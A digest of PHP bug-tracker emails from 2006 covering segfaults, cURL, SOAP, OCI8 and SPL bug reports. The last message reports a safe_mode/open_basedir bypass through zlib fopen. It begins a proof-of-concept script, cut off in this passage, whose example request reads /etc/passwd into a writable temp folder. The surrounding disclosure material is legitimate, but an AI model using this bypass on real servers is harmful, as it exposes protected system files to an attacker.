Dmitrienko, http://www.nusphere.com/dbg

Version 2.16.20
Linked  as a shared library.
Dbg securityenabled.
Profilercompiled, enabled
Target PHP version  5.1.2
Server API  Apache 2.0 Handler
Extensions API  220051025
Modules API 20050922
PHP API 20041225



'./configure' '--disable-debug' '--with-pic'
'--with-config-file-scan-dir=/usr/local/etc/php.d' '--disable-rpath'
'--without-pear' '--with-bz2' '--with-curl' '--with-freetype-dir=/usr'
'--with-png-dir=/usr' '--enable-gd-native-ttf' '--without-gdbm'
'--with-gettext' '--with-gmp' '--with-iconv' '--with-jpeg-dir=/usr'
'--with-openssl' '--with-png' '--with-pspell' '--with-expat-dir=/usr'
'--with-pcre-regex=/usr' '--with-zlib' '--with-layout=GNU'
'--enable-dom=shared' '--enable-exif' '--enable-ftp'
'--enable-magic-quotes' '--enable-sockets' '--enable-sysvsem'
'--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars'
'--enable-trans-sid' '--enable-yp' '--enable-wddx' '--with-kerberos'
'--enable-ucd-snmp-hack' '--with-unixODBC=shared,/usr'
'--enable-memory-limit' '--enable-shmop' '--enable-calendar'
'--enable-dbx' '--enable-dio'
'--with-mime-magic=/usr/local/apache2/conf/magic' '--without-sqlite'
'--with-libxml-dir=/usr' '--with-xml' '--enable-force-cgi-redirect'
'--enable-pcntl' '--with-imap=shared' '--with-imap-ssl'
'--enable-mbstring=shared' '--enable-mbstr-enc-trans'
'--enable-mbregex' '--with-ncurses=shared' '--with-gd=shared'
'--enable-bcmath=shared' '--enable-dba=shared' '--with-db4=/usr'
'--with-xmlrpc=shared' '--with-ldap=shared' '--with-mysql=shared,/usr'
'--with-mysqli=shared,/usr/bin/mysql_config' '--with-dom-xslt=/usr'
'--with-dom-exslt=/usr}' '--with-pgsql=shared'
'--with-snmp=shared,/usr' '--enable-soap=shared'
'--with-xsl=shared,/usr' '--enable-xmlreader=shared'
'--enable-xmlwriter=shared' '--enable-fastcgi' '--enable-pdo=shared'
'--with-pdo-odbc=shared,unixODBC,/usr' '--with-pdo-mysql=shared,/usr'
'--with-pdo-pgsql=shared,/usr' '--with-pdo-sqlite=shared,/usr'
'--with-apxs2=/usr/local/apache2/bin/apxs'


Reproduce code:
---
?php
print(this works);
echo and this;
$error=segfault when here;
?

Expected result:

Stepping till end.

Actual result:
--
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208199504 (LWP 13969)]
0x01188435 in zend_assign_to_variable (result=0x909bcd0,
op1=0x909bce4,
op2=0x909bcf8, value=0x909bcfc, type=1, Ts=0xbf9e1bf0)
at
/data/misc/download/Download_spool/php-5.1.2/Zend/zend_execute.c:269
269 zval ***ptr = CV_OF(node-u.var);






-- 
Edit this bug report at http://bugs.php.net/?id=37066edit=1


#37061 [Opn-Asn]: Zend HashTable getting corrupted

2006-04-13 Thread tony2001
 ID:   37061
 Updated by:   [EMAIL PROTECTED]
 Reported By:  ceo at l-i-e dot com
-Status:   Open
+Status:   Assigned
 Bug Type: cURL related
 Operating System: FreeBSD 5.3-RELEASE
 PHP Version:  5.1.2
-Assigned To:  
+Assigned To:  tony2001
 New Comment:

Assigned to myself - I have the patch.


Previous Comments:


[2006-04-13 00:12:11] ceo at l-i-e dot com

Jeez, I'm fumbling today.
http://acousticdemo.com/info.com/overture/binarytransfer.phps



[2006-04-13 00:05:57] [EMAIL PROTECTED]

404 not found...



[2006-04-12 23:47:48] ceo at l-i-e dot com

Errr. To be 100% clear:
The $html strings should not be non-zero-terminated.
$jpeg makes perfect sense as non-zero-terminated, to me.



[2006-04-12 23:38:56] ceo at l-i-e dot com

Okay.

HERE is a short (35 lines) script which will yield:
Warning: String is not zero-terminated

I don't think the strings involved should have any problem being
zero-terminated -- They are just HTML plain-text.

This MAY not solve this bug, but it's an easy avenue to explore, and
MAY solve the root cause of this bug, if my suspicions are correct.

http://acousticdemo.com/binarytransfer.phps

NOTE:
You'll have to run it from CLI (or CGI) and --enable-debug to get the
messages.

Note that the strings ONLY get not zero-terminated if you do the
CURLOPT_BINARYTRANFER part of the script.

Comment out that middle section, and warnings go away.

Surely this should not behave like this, right?



[2006-04-12 23:17:22] [EMAIL PROTECTED]

No need to install it in the system or use some ports.
Just grab the latest valgrind sources and compile them in your own HOME
directory. IIRC latest relase compiled on FreeBSD just fine.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37061

-- 
Edit this bug report at http://bugs.php.net/?id=37061edit=1


#37064 [Opn-Fbk]: mod_ext_filter causes a filtered php page to hang with calls to eval()

2006-04-13 Thread tony2001
 ID:   37064
 Updated by:   [EMAIL PROTECTED]
 Reported By:  jason at merchant dot to
-Status:   Open
+Status:   Feedback
 Bug Type: Apache2 related
 Operating System: Windows XP
 PHP Version:  5.1.2
 New Comment:

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.




Previous Comments:


[2006-04-13 03:51:37] jason at merchant dot to

Description:

I am using Apache2's mod_ext_filter to modify the output filtering of
html and php pages. It works fine on html pages. On php pages with to
many calls to eval(), the filter will cause it to hang until the script
times out. Within the 30 second timeout my filter was only able to
return the first line unmodified.

Reproduce code:
---
//httpd.conf directives*/

ExtFilterDefine myfilter mode=output intype=text/html
cmd=C:/php/php.exe C:/myfilter.php

SetOutputFilter myfilter
/

//***  C:/myfilter.php(The filter called by php.exe) **/

?php
$fp = fopen(php://stdin, r);
while (!feof($fp)) {
   echo fgets($fp);  
}
fclose($fp);
?
/

//  the php page that will be filtered ***/
// This script was copied from a previous bug report with a similar
issue in php3 here: http://bugs.php.net/bug.php?id=3744

?php
   $b = ;
   for ($i = 1; $i  1; $i++)
   $b .= b;
echo b: $b\n;

   for ($i = 1; $i  1; $i++)
   {
echo i: $i\n; flush();
   eval(\$a = '$b';);
   }
?
/

Expected result:

when run with the filter turned off I get the expected echoed
information.

Actual result:
--
The script hangs until it reaches the maximum execution time.





-- 
Edit this bug report at http://bugs.php.net/?id=37064edit=1


#22983 [Com]: Page Cannot Be Displayed

2006-04-13 Thread simon at acquire dot demon dot co dot uk
 ID:   22983
 Comment by:   simon at acquire dot demon dot co dot uk
 Reported By:  luke at cywh dot com
 Status:   No Feedback
 Bug Type: Apache2 related
 Operating System: Windows XP
 PHP Version:  4.3.2-RC
 New Comment:

Correction:  The length of a URL as defined by Microsoft in MSIE is
2048 characters, limited to ASCII data, so this might be useful.


Previous Comments:


[2006-04-13 08:15:25] simon at acquire dot demon dot co dot uk

I found out what the problem was in my case, it wasn't Apache or PHP.

Any page that contains a form which 'POSTS' data to the server causes
the problem.  MSIE does not add pages that are returned to a page as a
result of a POST to the history.  Using the GET method works fine as
expected.

The problem I have is that the GET method is limited to the size of the
URL in that you cannot pass data greater than 256 bytes using the GET
method, so what to do?

This problem is limited to MSIE, Opera and Firefox work fine.



[2006-04-12 11:38:00] simon at acquire dot demon dot co dot uk

I have been having a similiar problem however, my findings so far do
not lead me to believe that it is either Apache or PHP that is at
fault.

I have been developing an Intranet using Apache 2.0.53 and PHP 5.0.4

The intranet uses sessions to manage the logins.  The navigation
buttons in IE often do not work and I see the page containing the text
The page cannot be displayed

I've switched on debug level logging in Apache and restarted the
service, nothing is logged when this happens.  I've played with the
cache settings in PHP, but this doesn't help either.

I have found that Opera works perfectly and never falls over.  The
problem is that our Intranet uses OCX objects and XML with XSLT files. 
Opera doesn't support OCX and whilst is does support XML it doesn't
support XSLT.

So I'm scratching my head with this, it could be related to the session
handling, but I really don't know.



[2006-02-12 03:45:00] ViperZeroOne at shaw dot ca

I'm having this EXACT same problem.  It seems that my longer PHP pages
refuse to come up properly.  I've tried the snapshots provided to no
avail.  I'm using Apache2 on Windows XP and the latest PHP download
available.  I should note that small PHP scripts work fine, no issues
at all.  My problem occours when the PHP has to display a large file. 
Here are a couple examples;

EXAMPLE1:  Using a remote file-management system I can view the root of
my hard drive.  I open up my program files folder and it displays.  I
continue to open up folders and the first 2 or 3 may open, but the
second the list gets too long it tosses up a Page Cannot Be Displayed
error.  I can press the back button and it will return to normal, until
I get it to display too many folders again.

EXAMPLE2:  When using a PHP MP3 player I can view the login fine, go
into the program fine, but when I go to view my larger MP3 folder it
tosses up a Page Cannot Be Displayed error.  The smaller MP3 folders,
with the same files but just split up to work around this problem, load
perfectly fine.

EXAMPLE3:  When opening up a PHP program to administrate my MySQL
tables it initially opens fine.  When I select a table and the page
goes to display the information it pops up with a Page Cannot Be
Displayed.

It should be noted that if I have the chance to click the STOP button
on my browser before the error comes up I am able to view a partially
generated page.  Someone told me it could be due to my memory or
timeout settings so I've increased those to attempt to resolve the
issue, however it hasn't fixed it.

Another thing to note is that using any other browsers, example
Firefox, the page loads blank.  Also, when I'm sitting at the computer
that has the webserver running on it everything displays properly as it
should.

Also, it should be noted that I am running it as a module as well as I
have functions, not related to this issue, that will not operate when
it's run as a CGI.



[2003-07-18 18:51:02] [EMAIL PROTECTED]

No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to Open. Thank you.





[2003-07-10 23:52:09] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php4-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php4-win32-STABLE-latest.zip





The remainder of the comments for 

#37044 [Opn-Fbk]: MKDIR fails if GID differs

2006-04-13 Thread derick
 ID:   37044
 Updated by:   [EMAIL PROTECTED]
 Reported By:  dim at dvisionfactory dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Directory function related
 Operating System: FreeBSD
 PHP Version:  4.4.2
 New Comment:

You don't have to install it to try it... 


Previous Comments:


[2006-04-13 06:22:42] dim at dvisionfactory dot com

It is a production server! I cannot just switch to PHP5! Any other
suggestions?



[2006-04-12 14:44:48] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





[2006-04-12 08:26:22] [EMAIL PROTECTED]

Works perfectly fine here.



[2006-04-12 08:00:36] dim at dvisionfactory dot com

I've added clearstatcache() after chgrp(..)!
Now filegroup() produces the right output, but it hasn't solved my
problem.


Output of the script:

SUCCESS, 16888, 80, 80
FAIL, 16888, 80, 1005
SUCCESS, 16888, 80, 80
SUCCESS, 1688, 80, 80



[2006-04-11 18:39:42] [EMAIL PROTECTED]

What if you call clearstatcache() between chgrp() and filegroup() calls
?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37044

-- 
Edit this bug report at http://bugs.php.net/?id=37044edit=1


#37069 [NEW]: SoapClient-__getFunctions() returns invalid result

2006-04-13 Thread pmattivi at programator dot net
From: pmattivi at programator dot net
Operating system: Fedora Core rel 3 (Heidelberg)
PHP version:  5.1.2
PHP Bug Type: SOAP related
Bug description:  SoapClient-__getFunctions() returns invalid result

Description:

I have a webservice with following functions:
functionx(String, String, String, String);
functionx(String, String, String);

when I create SoapClient and call __getFunctions() I get twice the same
method:
functionx(String, String, String, String);

then I'm unable to call second method with 3 params. The function with 4
params is allways called when I do a call with 3 params.

Reproduce code:
---
$client = new SoapClient(https://www.dummyurl.com/service?wsdl;);
$functions = $client-__getFunctions();
print_r($functions);

Expected result:

functionx(String, String, String, String);
functionx(String, String, String);

Actual result:
--
functionx(String, String, String, String);
functionx(String, String, String, String);


-- 
Edit bug report at http://bugs.php.net/?id=37069edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37069r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37069r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37069r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37069r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37069r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37069r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37069r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37069r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37069r=support
Expected behavior:http://bugs.php.net/fix.php?id=37069r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37069r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37069r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37069r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37069r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37069r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37069r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37069r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37069r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37069r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37069r=mysqlcfg


#37069 [Opn-Fbk]: SoapClient-__getFunctions() returns invalid result

2006-04-13 Thread tony2001
 ID:   37069
 Updated by:   [EMAIL PROTECTED]
 Reported By:  pmattivi at programator dot net
-Status:   Open
+Status:   Feedback
 Bug Type: SOAP related
 Operating System: Fedora Core rel 3 (Heidelberg)
 PHP Version:  5.1.2
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip




Previous Comments:


[2006-04-13 11:11:52] pmattivi at programator dot net

Description:

I have a webservice with following functions:
functionx(String, String, String, String);
functionx(String, String, String);

when I create SoapClient and call __getFunctions() I get twice the same
method:
functionx(String, String, String, String);

then I'm unable to call second method with 3 params. The function with
4 params is allways called when I do a call with 3 params.

Reproduce code:
---
$client = new SoapClient(https://www.dummyurl.com/service?wsdl;);
$functions = $client-__getFunctions();
print_r($functions);

Expected result:

functionx(String, String, String, String);
functionx(String, String, String);

Actual result:
--
functionx(String, String, String, String);
functionx(String, String, String, String);






-- 
Edit this bug report at http://bugs.php.net/?id=37069edit=1


#37061 [Asn-Csd]: Zend HashTable getting corrupted

2006-04-13 Thread tony2001
 ID:   37061
 Updated by:   [EMAIL PROTECTED]
 Reported By:  ceo at l-i-e dot com
-Status:   Assigned
+Status:   Closed
 Bug Type: cURL related
 Operating System: FreeBSD 5.3-RELEASE
 PHP Version:  5.1.2
 Assigned To:  tony2001
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2006-04-13 09:44:08] [EMAIL PROTECTED]

Assigned to myself - I have the patch.



[2006-04-13 00:12:11] ceo at l-i-e dot com

Jeez, I'm fumbling today.
http://acousticdemo.com/info.com/overture/binarytransfer.phps



[2006-04-13 00:05:57] [EMAIL PROTECTED]

404 not found...



[2006-04-12 23:47:48] ceo at l-i-e dot com

Errr. To be 100% clear:
The $html strings should not be non-zero-terminated.
$jpeg makes perfect sense as non-zero-terminated, to me.



[2006-04-12 23:38:56] ceo at l-i-e dot com

Okay.

HERE is a short (35 lines) script which will yield:
Warning: String is not zero-terminated

I don't think the strings involved should have any problem being
zero-terminated -- They are just HTML plain-text.

This MAY not solve this bug, but it's an easy avenue to explore, and
MAY solve the root cause of this bug, if my suspicions are correct.

http://acousticdemo.com/binarytransfer.phps

NOTE:
You'll have to run it from CLI (or CGI) and --enable-debug to get the
messages.

Note that the strings ONLY get not zero-terminated if you do the
CURLOPT_BINARYTRANFER part of the script.

Comment out that middle section, and warnings go away.

Surely this should not behave like this, right?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37061

-- 
Edit this bug report at http://bugs.php.net/?id=37061edit=1


#37059 [Csd-Opn]: can not insert a long raw column

2006-04-13 Thread a dot vigetti at provincia dot grosseto dot it
 ID:   37059
 User updated by:  a dot vigetti at provincia dot grosseto dot it
 Reported By:  a dot vigetti at provincia dot grosseto dot it
-Status:   Closed
+Status:   Open
 Bug Type: OCI8 related
 Operating System: debian linux  2.6.12-1-686-smp
 PHP Version:  5.1.2
 New Comment:

Ok i fixed  OCI_DEFAULT and tried:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

but the result is now:

Warning: ocibindbyname() expects parameter 5 to be long, string given
in /root/lavori/ArchiproNew/prove/LongRow.php on line 12

Warning: ociexecute(): ORA-01008: not all variables bound in
/root/lavori/ArchiproNew/prove/LongRow.php on line 13

I tried also SQLT_LBI in OciBindByName and got the same error message.
Another little but important mistake in my first post:
i cannot change the other application that use the same table.
Thanks 
Aldo


Previous Comments:


[2006-04-12 19:25:06] [EMAIL PROTECTED]

Fixed in 5.1 and HEAD.

You should use:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

And also note this:
ociexecute($stmt, $OCI_DEFAULT); -- OCI_DEFAULT is not a variable,
it's a constant.



[2006-04-12 16:00:34] a dot vigetti at provincia dot grosseto dot it

Description:

Oracle library version 10G R2.
I need to insert into an oracle table with a long raw,
i can't change the column type because another application use the same
table and i can change the application.
I experinced the same problem with other version of php/oci libs/Oracle
database.


Reproduce code:
---
This is a small code example that fails:

?php
/*
create table longRawTable( id number(10), fileimage long raw);
*/
$db=ocilogon(user,password, database);
$qs = insert into longRawTable  (id, fileimage) .
   values (:id, :fileimage);
$stmt = OCIParse($db, $qs);
$i=1;
$fileimage = file_get_contents( a_file );
OCIBindByName ( $stmt, :id, $i, -1);
OCIBindByName ( $stmt, :fileimage, $fileimage, -1);
ociexecute($stmt, $OCI_DEFAULT);
ocicommit($db);
?

When i try this script i obtain the following error:
Warning: ociexecute(): ORA-01461: can bind a LONG value only for insert
into a LONG column in /LongRow.php on line 13

Using a column of type LONG and storing data with the bin2hex function
all is OK.
Its a php or OCI problem?
I try a similar script in perl using DBD::Oracle on the same machine
linked with the same OCI libs without problems.

thanks
Aldo Vigetti 







-- 
Edit this bug report at http://bugs.php.net/?id=37059edit=1


#37059 [Opn-Csd]: can not insert a long raw column

2006-04-13 Thread tony2001
 ID:   37059
 Updated by:   [EMAIL PROTECTED]
 Reported By:  a dot vigetti at provincia dot grosseto dot it
-Status:   Open
+Status:   Closed
 Bug Type: OCI8 related
 Operating System: debian linux  2.6.12-1-686-smp
 PHP Version:  5.1.2
 New Comment:

This constant is available only in CVS version.


Previous Comments:


[2006-04-13 12:01:50] a dot vigetti at provincia dot grosseto dot it

Ok i fixed  OCI_DEFAULT and tried:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

but the result is now:

Warning: ocibindbyname() expects parameter 5 to be long, string given
in /root/lavori/ArchiproNew/prove/LongRow.php on line 12

Warning: ociexecute(): ORA-01008: not all variables bound in
/root/lavori/ArchiproNew/prove/LongRow.php on line 13

I tried also SQLT_LBI in OciBindByName and got the same error message.
Another little but important mistake in my first post:
i cannot change the other application that use the same table.
Thanks 
Aldo



[2006-04-12 19:25:06] [EMAIL PROTECTED]

Fixed in 5.1 and HEAD.

You should use:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

And also note this:
ociexecute($stmt, $OCI_DEFAULT); -- OCI_DEFAULT is not a variable,
it's a constant.



[2006-04-12 16:00:34] a dot vigetti at provincia dot grosseto dot it

Description:

Oracle library version 10G R2.
I need to insert into an oracle table with a long raw,
i can't change the column type because another application use the same
table and i can change the application.
I experinced the same problem with other version of php/oci libs/Oracle
database.


Reproduce code:
---
This is a small code example that fails:

?php
/*
create table longRawTable( id number(10), fileimage long raw);
*/
$db=ocilogon(user,password, database);
$qs = insert into longRawTable  (id, fileimage) .
   values (:id, :fileimage);
$stmt = OCIParse($db, $qs);
$i=1;
$fileimage = file_get_contents( a_file );
OCIBindByName ( $stmt, :id, $i, -1);
OCIBindByName ( $stmt, :fileimage, $fileimage, -1);
ociexecute($stmt, $OCI_DEFAULT);
ocicommit($db);
?

When i try this script i obtain the following error:
Warning: ociexecute(): ORA-01461: can bind a LONG value only for insert
into a LONG column in /LongRow.php on line 13

Using a column of type LONG and storing data with the bin2hex function
all is OK.
Its a php or OCI problem?
I try a similar script in perl using DBD::Oracle on the same machine
linked with the same OCI libs without problems.

thanks
Aldo Vigetti 







-- 
Edit this bug report at http://bugs.php.net/?id=37059edit=1


#37070 [NEW]: SplFileObject::isDir() returns false for empty dirs

2006-04-13 Thread pornel at despammed dot com
From: pornel at despammed dot com
Operating system: OS X
PHP version:  6CVS-2006-04-13 (snap)
PHP Bug Type: SPL related
Bug description:  SplFileObject::isDir() returns false for empty dirs

Description:

I'm using RecursiveDirectoryIterator to scan directories.

File objects returned by this iterator seem to threat isDir and
hasChildren as the same thing. That is isDir returns true only when item
has children. 

This assumption is invalid and causes empty directories to be reported as
files.


Reproduce code:
---
?php
function scan(RecursiveDirectoryIterator $dir)
{
foreach($dir as $file)
{
var_dump($file-isDir());
if ($dir-hasChildren()) scan($dir-getChildren());
}
}
scan(new RecursiveDirectoryIterator('/some/path/that/has/empty/dirs'));


Expected result:

isDir should not act as alias of hasChildren

Actual result:
--
empty directories have isFile()==true and isDir()==false

-- 
Edit bug report at http://bugs.php.net/?id=37070edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37070r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37070r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37070r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37070r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37070r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37070r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37070r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37070r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37070r=support
Expected behavior:http://bugs.php.net/fix.php?id=37070r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37070r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37070r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37070r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37070r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37070r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37070r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37070r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37070r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37070r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37070r=mysqlcfg


#37070 [Opn-Bgs]: SplFileObject::isDir() returns false for empty dirs

2006-04-13 Thread pornel at despammed dot com
 ID:   37070
 User updated by:  pornel at despammed dot com
 Reported By:  pornel at despammed dot com
-Status:   Open
+Status:   Bogus
 Bug Type: SPL related
 Operating System: OS X
 PHP Version:  6CVS-2006-04-13 (snap)
 New Comment:

My bad. Confused getPath with getPathname.


Previous Comments:


[2006-04-13 12:19:28] pornel at despammed dot com

Description:

I'm using RecursiveDirectoryIterator to scan directories.

File objects returned by this iterator seem to threat isDir and
hasChildren as the same thing. That is isDir returns true only when
item has children. 

This assumption is invalid and causes empty directories to be reported
as files.


Reproduce code:
---
?php
function scan(RecursiveDirectoryIterator $dir)
{
foreach($dir as $file)
{
var_dump($file-isDir());
if ($dir-hasChildren()) scan($dir-getChildren());
}
}
scan(new
RecursiveDirectoryIterator('/some/path/that/has/empty/dirs'));


Expected result:

isDir should not act as alias of hasChildren

Actual result:
--
empty directories have isFile()==true and isDir()==false





-- 
Edit this bug report at http://bugs.php.net/?id=37070edit=1


#37059 [Csd]: can not insert a long raw column

2006-04-13 Thread a dot vigetti at provincia dot grosseto dot it
 ID:   37059
 User updated by:  a dot vigetti at provincia dot grosseto dot it
 Reported By:  a dot vigetti at provincia dot grosseto dot it
 Status:   Closed
 Bug Type: OCI8 related
 Operating System: debian linux  2.6.12-1-686-smp
 PHP Version:  5.1.2
 New Comment:

OK i tried the CVS snapshot php5.1-200604130230.tar.bz2 and everything
works fine.
This patch will be standard in 5.1.3?

thanks Tony.

Aldo


Previous Comments:


[2006-04-13 12:04:02] [EMAIL PROTECTED]

This constant is available only in CVS version.



[2006-04-13 12:01:50] a dot vigetti at provincia dot grosseto dot it

Ok i fixed  OCI_DEFAULT and tried:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

but the result is now:

Warning: ocibindbyname() expects parameter 5 to be long, string given
in /root/lavori/ArchiproNew/prove/LongRow.php on line 12

Warning: ociexecute(): ORA-01008: not all variables bound in
/root/lavori/ArchiproNew/prove/LongRow.php on line 13

I tried also SQLT_LBI in OciBindByName and got the same error message.
Another little but important mistake in my first post:
i cannot change the other application that use the same table.
Thanks 
Aldo



[2006-04-12 19:25:06] [EMAIL PROTECTED]

Fixed in 5.1 and HEAD.

You should use:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

And also note this:
ociexecute($stmt, $OCI_DEFAULT); -- OCI_DEFAULT is not a variable,
it's a constant.



[2006-04-12 16:00:34] a dot vigetti at provincia dot grosseto dot it

Description:

Oracle library version 10G R2.
I need to insert into an oracle table with a long raw,
i can't change the column type because another application use the same
table and i can change the application.
I experinced the same problem with other version of php/oci libs/Oracle
database.


Reproduce code:
---
This is a small code example that fails:

?php
/*
create table longRawTable( id number(10), fileimage long raw);
*/
$db=ocilogon(user,password, database);
$qs = insert into longRawTable  (id, fileimage) .
   values (:id, :fileimage);
$stmt = OCIParse($db, $qs);
$i=1;
$fileimage = file_get_contents( a_file );
OCIBindByName ( $stmt, :id, $i, -1);
OCIBindByName ( $stmt, :fileimage, $fileimage, -1);
ociexecute($stmt, $OCI_DEFAULT);
ocicommit($db);
?

When i try this script i obtain the following error:
Warning: ociexecute(): ORA-01461: can bind a LONG value only for insert
into a LONG column in /LongRow.php on line 13

Using a column of type LONG and storing data with the bin2hex function
all is OK.
Its a php or OCI problem?
I try a similar script in perl using DBD::Oracle on the same machine
linked with the same OCI libs without problems.

thanks
Aldo Vigetti 







-- 
Edit this bug report at http://bugs.php.net/?id=37059edit=1


#37059 [Csd]: can not insert a long raw column

2006-04-13 Thread tony2001
 ID:   37059
 Updated by:   [EMAIL PROTECTED]
 Reported By:  a dot vigetti at provincia dot grosseto dot it
 Status:   Closed
 Bug Type: OCI8 related
 Operating System: debian linux  2.6.12-1-686-smp
 PHP Version:  5.1.2
 New Comment:

Sure, it will appear in the upcoming 5.1.3 release, as well as in PHP6.


Previous Comments:


[2006-04-13 12:52:35] a dot vigetti at provincia dot grosseto dot it

OK i tried the CVS snapshot php5.1-200604130230.tar.bz2 and everything
works fine.
This patch will be standard in 5.1.3?

thanks Tony.

Aldo



[2006-04-13 12:04:02] [EMAIL PROTECTED]

This constant is available only in CVS version.



[2006-04-13 12:01:50] a dot vigetti at provincia dot grosseto dot it

Ok i fixed  OCI_DEFAULT and tried:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

but the result is now:

Warning: ocibindbyname() expects parameter 5 to be long, string given
in /root/lavori/ArchiproNew/prove/LongRow.php on line 12

Warning: ociexecute(): ORA-01008: not all variables bound in
/root/lavori/ArchiproNew/prove/LongRow.php on line 13

I tried also SQLT_LBI in OciBindByName and got the same error message.
Another little but important mistake in my first post:
i cannot change the other application that use the same table.
Thanks 
Aldo



[2006-04-12 19:25:06] [EMAIL PROTECTED]

Fixed in 5.1 and HEAD.

You should use:
OCIBindByName ( $stmt, :fileimage, $fileimage, -1, SQL_LBI);

And also note this:
ociexecute($stmt, $OCI_DEFAULT); -- OCI_DEFAULT is not a variable,
it's a constant.



[2006-04-12 16:00:34] a dot vigetti at provincia dot grosseto dot it

Description:

Oracle library version 10G R2.
I need to insert into an oracle table with a long raw,
i can't change the column type because another application use the same
table and i can change the application.
I experinced the same problem with other version of php/oci libs/Oracle
database.


Reproduce code:
---
This is a small code example that fails:

?php
/*
create table longRawTable( id number(10), fileimage long raw);
*/
$db=ocilogon(user,password, database);
$qs = insert into longRawTable  (id, fileimage) .
   values (:id, :fileimage);
$stmt = OCIParse($db, $qs);
$i=1;
$fileimage = file_get_contents( a_file );
OCIBindByName ( $stmt, :id, $i, -1);
OCIBindByName ( $stmt, :fileimage, $fileimage, -1);
ociexecute($stmt, $OCI_DEFAULT);
ocicommit($db);
?

When i try this script i obtain the following error:
Warning: ociexecute(): ORA-01461: can bind a LONG value only for insert
into a LONG column in /LongRow.php on line 13

Using a column of type LONG and storing data with the bin2hex function
all is OK.
Its a php or OCI problem?
I try a similar script in perl using DBD::Oracle on the same machine
linked with the same OCI libs without problems.

thanks
Aldo Vigetti 







-- 
Edit this bug report at http://bugs.php.net/?id=37059edit=1


#37071 [NEW]: zlib exploit

2006-04-13 Thread unsecretarygeneral at gmail dot com
From: unsecretarygeneral at gmail dot com
Operating system: all
PHP version:  4.4.2
PHP Bug Type: Safe Mode/open_basedir
Bug description:  zlib exploit

Description:

The zlib fopen function boes not adhere to safe_mode , or open_base
directory , hence an attacker can use zlib to compress 'any' file to a
temp folder / world writable folder .. 

This should be critical , and is NOT fixed in the current CVS . 

Reproduce code:
---
Example code . : called like http://hostname/?file=/etc/passwd

?php


$file=; // File to Include... or use _GET _POST
$tymczas=; // Set $tymczas to dir where you have 777 like /var/tmp



echo PRE\n;
if(empty($file))
{
